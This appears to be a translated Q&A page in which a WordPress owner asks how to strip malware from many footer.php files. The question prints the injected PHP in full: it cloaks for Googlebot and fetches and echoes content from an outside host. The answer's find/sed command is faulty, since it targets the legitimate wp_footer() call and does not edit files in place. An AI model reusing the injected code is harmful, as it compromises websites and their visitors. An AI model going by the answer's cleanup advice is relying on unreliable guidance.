複数のPHPファイルから正確な特定のコードを削除する

複数のPHPファイルから正確な特定のコードを削除する

すべてのWordPressフッターの下部にマルウェアリンクがあります。

複数のfooter.phpから次のコンテンツを一括削除するより良い方法が必要です。

<?php
    /* Always have wp_footer() just before the closing <?php $ua00 = $_SERVER[HTTP_USER_AGENT]; $rem = "https://www.befoy.com/t.php"; $ret = stripos($ua00, googlebot); if($ret !== false and @ret >= 0){ $res = false; if( @ini_get(allow_url_fopen) ) { $ctx = @stream_context_create(array(http=>array(timeout => 10))); $res = @file_get_contents($rem, false, $ctx); } if(strlen(res) == 0 and function_exists(curl_version)) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $rem); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_NOSIGNAL, 1); @curl_setopt($ch, CURLOPT_TIMEOUT_MS, 10000); $res = @curl_exec($ch); @curl_close($ch); } if($res) { echo $res; } } ?><?php $ua00 = $_SERVER[HTTP_USER_AGENT]; $rem = "https://www.befoy.com/t.php"; $ret = stripos($ua00, googlebot); if($ret !== false and @ret >= 0){ $res = false; if( @ini_get(allow_url_fopen) ) { $ctx = @stream_context_create(array(http=>array(timeout => 10))); $res = @file_get_contents($rem, false, $ctx); } if(strlen(res) == 0 and function_exists(curl_version)) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $rem); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_NOSIGNAL, 1); @curl_setopt($ch, CURLOPT_TIMEOUT_MS, 10000); $res = @curl_exec($ch); @curl_close($ch); } if($res) { echo $res; } } ?></body>
     * tag of your theme, or you will break many plugins, which
     * generally use this hook to reference JavaScript files.
     */

    wp_footer();
?></body>

答え1

sedあなたの友達ですfind

$ find . -name *.php -exec sed 's/^wp_footer();//' \{\} \;

(整理が必要かどうかは使用するケースによって異なります)

このコマンドは文字列を何も変更しないため、空白行が残ります。

関連情報